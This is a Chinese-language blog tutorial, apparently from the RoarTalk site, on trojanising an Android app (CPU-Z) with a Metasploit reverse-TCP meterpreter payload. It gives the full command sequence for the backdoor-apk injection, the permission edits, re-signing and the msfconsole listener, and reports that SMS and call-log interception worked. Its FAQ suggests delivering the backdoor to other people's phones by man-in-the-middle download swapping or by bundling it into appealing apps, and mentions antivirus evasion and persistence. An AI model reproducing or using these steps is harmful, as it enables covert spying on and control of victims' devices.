對Android應用植入後門 實現msf控制
本人剛入msf坑不久,對於Android的滲透比較感興趣,於是在網上尋找了很久資料,但是發現很多實現方法都會出現各種奇怪報錯,於是我花了點時間,在外面的世界找解決方案,總算實現成功,故整理文章,供正在困惑和迷茫中掙扎的小夥伴們互相交流。
下面進入正題:我們的思路是對一個安卓應用注入msf生成的payload後門,並實現內網範圍或是外網範圍內的持續控制,這樣就會實現後門隨正常應用啟動,但不易被發現。文中會提供一些思路拓展,如果需要,我可以再展開來講。對於很多萌新來說,過程中往往會遇到很多解決不了的麻煩,我會在文章中儘可能覆蓋。
第一步,工具準備:
a) Kali 2017.02(https://www.kali.org/downloads/)
b) backdoor-apk(https://github.com/dana-at-cp/backdoor-apk.git)
c) Apktool(https://ibotpeaches.github.io/Apktool/)
d) 測試Apk:CPU-Z(https://pan.baidu.com/s/1kUHN2YV)
第二步,環境處理:
這一步也是很多小夥伴們最大的問題之一,Kali中自帶的Apktool版本較舊,導致關鍵步驟失敗,下面看步驟。
a) 下載最新版Apktool(上文已提供鏈接),下載成功後將文件名修改為apktool.jar,複製粘貼替換掉kali中的/usr/share/apktool/apktool.jar
b) 下載backdoor-apk:打開終端,輸入命令git clone https://github.com/dana-at-cp/backdoor-apk.git,回車。
c) 安裝兼容庫:終端內輸入命令 apt-get install lib32stdc++6 lib32ncurses5 lib32z1,回車。由於我這裡已經安裝完成,故不再演示。
d) 運行backdoor-apk:終端輸入命令cd backdoor-apk/backdoor-apk,回車。
e) 下載CPU-Z,並將其改名為1.apk,移動到/root/backdoor-apk/backdoor-apk目錄下(註:與腳本同目錄)。
f) 注入payload:終端輸入命令./backdoor-apk.sh 1.apk,回車。
g) 打開新終端,輸入命令ifconfig查看自己的ip。
h) 回到我們之前的終端,配置payload參數,按照圖中的配置,其中IP替換為自己的IP。
i) 此時,payload已經成功注入我們的CPU-Z中,但是很多小夥伴會發現,安裝後無法正常使用功能,這時候就需要為其添加許可權,首先找到我們生成的CPU-Z,生成在/root/backdoor-apk/backdoor-apk/original/dist目錄下。
j) 接下來,使用Apktool反編譯此文件。為了方便區分,我們將此apk名修改為2.apk,並移動到root目錄下。
k) 下面使用Apktool反編譯,打開終端,輸入命令apktool d /root/2.apk,回車。
l) 此時我們的apk已經反編譯完成,打開目錄2下的AndroidManifest.xml,我們會發現此時這個apk所聲明的許可權很少,並不能實現我們所需要的功能,此時就需要聲明更多許可權。
m) 此時很多小夥伴就會有疑問:我對android代碼一無所知,怎麼知道我們的payload需要些什麼許可權呢?這可難不倒我們,我們可以用msf生成一個原始的payload,反編譯這個apk,去查看它聲明了哪些許可權,複製進來就可以了,下面我們繼續操作。
n) 在終端中輸入命令msfvenom -p android/meterpreter/reverse_tcp LHOST=10.161.94.25 LPORT=4444 -o 3.apk,就可以在root目錄下生成一個3.apk的payload,並且按照我們之前k中的步驟反編譯。
o) 此時,反編譯已經完成,我們來看看payload聲明了哪些許可權。
p) 好的,我們複製這些代碼到我們2目錄下的相同位置處並保存,但要注意不能重複聲明。
q) 此時我們最關鍵的聲明許可權步驟已經完成,接下來要做的就是使用Apktool打包應用,並為其添加簽名。終端中輸入命令,apktool b /root/,回車,此時應用打包就完成了。新應用會存放在/root/2/dist/2.apk這個位置。為了方便區分,我們將其文件名修改為4.apk,並移動到root目錄下。當然,此時的應用還是未簽名的,下一步,我們對其進行簽名操作。
r) 首先需要生成簽名證書KEYSTORE,終端中輸入命令keytool -genkey -alias android.keystore -keyalg RSA -validity 20000 -keystore android.keystore,回車。
參數說明:
-genkey 生成文件
-alias 別名
-keyalg 加密演算法
-validity 有效期
-keystore 文件名
最後一步輸入Y確認輸入並回車,即可。
s) 這樣就生成好了簽名證書,接下來我們對apk進行簽名。終端中輸入命令jarsigner -verbose -keystore android.keystore -signedjar 4_signed.apk 4.apk android.keystore,回車。
參數說明:
4_signed.apk是簽名之後的文件
4.apk是需要簽名的文件
t) 此時,應用簽名已經完成,我們可以進行測試了。將簽名後的4_signed.apk安裝到手機上。
u) 下一步,打開msf控制台,設置好監聽參數後,等待上線。打開終端,輸入命令msfconsole,回車。進入msf控制台。
輸入命令use exploit/multi/handler,回車。
輸入set PAYLOAD android/meterpreter/reverse_tcp,回車。
輸入set LHOST 10.161.94.25,回車。
輸入set LPORT 4444,回車。
此時,我們的監聽參數已經設置完成。
v) 輸入exploit,開始監聽。
w) 此時打開手機,可以看到我們的應用申請了許多許可權。
x) 打開CPU-Z,此時回到kali,msf中已經監聽到上線。
y) 輸入命令sessions,可以查看設備列表。再次輸入sessions 1,即可獲得設備控制權。輸入sysinfo查看系統信息。
z) 我測試了本機的簡訊截取和通話記錄截取,可行。
在這裡粘上一張命令圖,這裡就複製別人的圖了。
第三步,拓展:
看到這裡,很多小夥伴就會有許多疑問。我這裡給出一些簡單的拓展回答,如果需要,可以在評論區和我交流。
Q:如果我在不同內網環境下,怎麼上線呢?
A:有很多解決辦法,這裡提供兩種思路。1.使用vps轉發來達到上線目的。2.使用Ngrok等工具做內網穿透。
Q:怎樣把後門程序安裝到別人的手機上呢?
A:這裡就有無數種思路了,比如可以做中間人欺騙,來替換下載的程序綁馬,或者是將後門添加到其他人比較感興趣的應用中去。
Q:為什麼我換了其他的應用,使用backdoor-apk,最後一步就報錯呢?
A:很多應用做了處理,防止一般的反編譯,可以採取手動注入手段或者使用其他如spade等達到目的。其中手動注入要有一點點難度,但也很簡單,只要理解了就好辦。
Q:這個後門軟體會被殺毒軟體報毒么?
A:本人做了測試,是報安全的。但不排除特定的殺毒軟體查到特徵,可以自己做混淆免殺處理,很多種方法逃避查殺,在這裡不展開講了。
Q:如果重啟以後掉線,或是一段時間自動掉線了怎麼解決呢?
A:這裡提供兩種思路。1.找開機自啟的應用來保證每次開機都會啟動。2.自寫守護腳本,用shell運行。
對以上內容有感興趣的小夥伴,歡迎在評論區提問,或是發消息給我,我會盡我所能為其解答。
※WordPress這次的更新有故事 站長們還請快快更新
※差學生秒變三好學生?因為一款黑客工具他入獄了
※使用 Mimikatz和Powersploit 提取 Windows 禁止導出的證書並逃避防護軟體
※Masscan教程和入門手冊
※Oracle被爆高危漏洞,攻擊者可劫持用戶賬戶
TAG:嘶吼RoarTalk |